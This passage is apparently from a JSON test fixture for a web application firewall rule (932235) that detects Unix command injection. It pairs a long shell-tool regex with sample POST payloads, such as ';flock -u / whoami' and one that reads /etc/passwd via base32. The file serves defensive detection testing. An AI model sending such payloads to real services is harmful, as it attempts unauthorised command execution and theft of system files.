$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "7JRJIWP8" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;flock -u / whoami\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\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),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "ANQ9SN3S" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;cd /;cd etc;base32 passwd|base32 -d\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?a[\\\"'\\)\\[\\x5c]*(?:(?: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aksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\